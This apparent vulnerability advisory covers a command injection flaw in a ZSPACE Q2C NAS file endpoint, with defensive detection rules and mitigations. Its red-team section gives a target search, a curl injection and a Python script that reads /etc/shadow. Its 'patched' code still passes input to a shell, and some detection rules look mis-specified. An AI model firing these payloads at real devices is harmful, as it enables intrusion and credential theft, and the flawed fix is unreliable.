CVE-2025-14106

Executive Summary

CVE-2025-14106 is a critical command injection vulnerability discovered in the ZSPACE Q2C NAS appliance, affecting versions up to and including 1.1.0210050. The flaw resides in the HTTP POST Request Handler, specifically within the zfilev2_api.CloseSafe function of the /v2/file/safe/close endpoint. By manipulating the safe_dir argument, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full compromise of the NAS device. The exploit is publicly available, and while the vendor has acknowledged the issue, no official patch has been released as of this report. This vulnerability poses a severe risk to data confidentiality, integrity, and availability for all ZSPACE Q2C NAS deployments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a proprietary NAS appliance.

CVSS Breakdown & Threat Level

While an official CVSS vector is not provided, based on the technical details (remote, unauthenticated, command injection), the following vector is estimated:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication required, and public exploit code makes this a high-priority threat for any organization using the affected ZSPACE Q2C NAS devices.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the HTTP API endpoint /v2/file/safe/close. The zfilev2_api.CloseSafe function is designed to close a "safe" (a secure file container) on the NAS. The function takes a safe_dir parameter, which specifies the path to the safe directory.

The root cause is the lack of proper input sanitization or validation on the safe_dir parameter. The application likely passes this user-supplied value directly to a system shell command (e.g., system(), exec(), or popen()) without escaping or quoting. An attacker can inject shell metacharacters (such as ;, |, &&, `, or $()) into the safe_dir value to execute arbitrary commands on the underlying operating system.

For example, a crafted POST request to /v2/file/safe/close with a safe_dir value like /mnt/safe;id would execute the id command after the intended operation, revealing the current user context.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code pattern is expected to be similar to:

Vulnerable (Conceptual C/C++ or PHP):

char command[512];
snprintf(command, sizeof(command), "close_safe %s", user_supplied_safe_dir);
system(command);

Patched (Expected):

char command[512];
// Sanitize input: remove shell metacharacters
sanitize_input(user_supplied_safe_dir);
snprintf(command, sizeof(command), "close_safe %s", user_supplied_safe_dir);
system(command);

The fix should involve strict input validation, whitelisting allowed characters, and using parameterized APIs or escaping shell arguments.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A ZSPACE Q2C NAS (v1.1.0210050 or earlier) on the same network.
• A tool like curl, Burp Suite, or a custom Python script.

Exploit Steps:

1. Identify Target: Scan for ZSPACE Q2C NAS devices. Shodan dork: "ZSPACE Q2C NAS".
2. Craft Payload: The safe_dir parameter is injectable. Use a command separator like ; or |.
3. Send Malicious Request:

   curl -X POST http://<target_ip>/v2/file/safe/close \
     -d "safe_dir=/mnt/safe;id"
   

4. Verify Execution: The response body or logs may contain the output of the id command. For a blind injection, use a reverse shell or out-of-band data exfiltration.

Python Exploit Script (Conceptual):

import requests

target = "http://192.168.1.100"
payload = "/mnt/safe;cat /etc/shadow"

url = f"{target}/v2/file/safe/close"
data = {"safe_dir": payload}

try:
    r = requests.post(url, data=data, timeout=10)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text}")
except Exception as e:
    print(f"Error: {e}")

Blue Team (Defensive)

Detection & Prevention:

1. Network Monitoring: Monitor HTTP POST requests to /v2/file/safe/close for suspicious safe_dir values containing shell metacharacters (;, |, &, `, $()).
2. Web Application Firewall (WAF): Deploy a WAF rule to block requests with command injection patterns in the safe_dir parameter.
3. Input Validation: If you have access to the source code, implement strict input validation. Only allow alphanumeric characters, slashes, and underscores.
4. Least Privilege: Ensure the NAS web service runs with the minimum necessary privileges to limit the impact of a successful exploit.
5. Network Segmentation: Isolate NAS devices on a separate VLAN with strict access controls.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /v2/file/safe/close with unusual safe_dir values.
• Outbound connections from the NAS to unknown IP addresses on non-standard ports (e.g., 4444 for reverse shells).
• DNS queries to suspicious domains from the NAS.

Host IOCs:

• Unexpected processes running on the NAS (e.g., /bin/sh, nc, bash).
• Modified system files in /etc/, /tmp/, or /var/.
• New user accounts or SSH keys.
• Unusual log entries in /var/log/ containing shell commands.

File IOCs:

• Presence of web shells in the web root directory.
• Suspicious files in /tmp/ with random names.

Detection Engineering

YARA Rule

rule CVE_2025_14106_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-14106 in ZSPACE Q2C NAS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14106"
    strings:
        $http_method = "POST"
        $uri = "/v2/file/safe/close"
        $cmd_inject1 = /safe_dir=.*[;&|`$()]/
        $cmd_inject2 = /safe_dir=.*\|\|/
        $cmd_inject3 = /safe_dir=.*&&/
    condition:
        $http_method and $uri and ($cmd_inject1 or $cmd_inject2 or $cmd_inject3)
}

Sigma Rule

title: CVE-2025-14106 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /v2/file/safe/close with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v2/file/safe/close'
        cs-uri-query|contains:
            - 'safe_dir='
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in directory names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14106 - ZSPACE Q2C NAS Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/v2/file/safe/close";
    http_uri;
    content:"safe_dir=";
    http_client_body;
    pcre:"/safe_dir=[^&]*(?:[;&|`$()]|\|\||&&)/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Devices: If possible, disconnect ZSPACE Q2C NAS devices from the network or place them behind a strict firewall that only allows necessary traffic.
2. Disable the Vulnerable Endpoint: As a temporary workaround, block access to the /v2/file/safe/close endpoint at the network level (e.g., using a reverse proxy or WAF).
3. Monitor for Exploitation: Actively monitor logs and network traffic for the IOCs listed above.

Long-Term Fix:

• Apply Vendor Patch: The vendor has confirmed the vulnerability and plans to release a fix. Monitor ZSPACE's official channels for a firmware update and apply it immediately.
• Code Review: If you have access to the source code, implement proper input validation and use parameterized commands instead of shell execution.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at [valters@example.com].